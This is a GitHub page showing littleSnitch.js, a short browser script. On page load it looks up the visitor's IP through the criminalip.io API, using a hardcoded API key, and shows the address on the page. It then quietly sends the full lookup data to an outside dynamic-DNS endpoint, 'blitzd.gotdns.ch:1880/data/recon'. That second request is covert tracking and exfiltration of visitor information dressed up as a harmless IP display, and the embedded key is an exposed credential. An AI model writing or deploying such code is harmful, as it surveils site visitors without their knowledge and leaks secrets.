-
Notifications
You must be signed in to change notification settings - Fork 0
/
littleSnitch.js
26 lines (24 loc) · 1.14 KB
/
littleSnitch.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
document.addEventListener("DOMContentLoaded", function () {
const apiKey = "f7MbyXpR0DB4eZ2OCmsDOkrXcWTgvA8KZN5zs92xeX6gQcSTIZnlTSlh8U7o";
fetch("https://api.criminalip.io/v1/ip/data", {
method: "POST",
headers: {
"Authorization": `Bearer ${apiKey}`,
"Content-Type": "application/json"
},
body: JSON.stringify({})
})
.then(response => response.json())
.then(data => {
const ipAddress = data.ip;
document.getElementById("ipDisplay").textContent = `IP Address: ${ipAddress}`;
const xhr = new XMLHttpRequest();
xhr.open("POST", "https://blitzd.gotdns.ch:1880/data/recon", true);
xhr.setRequestHeader("Content-Type", "application/json");
xhr.send(JSON.stringify(data));
})
.catch(error => {
console.error("Error:", error);
document.getElementById("ipDisplay").textContent = "Failed to retrieve IP address";
});
});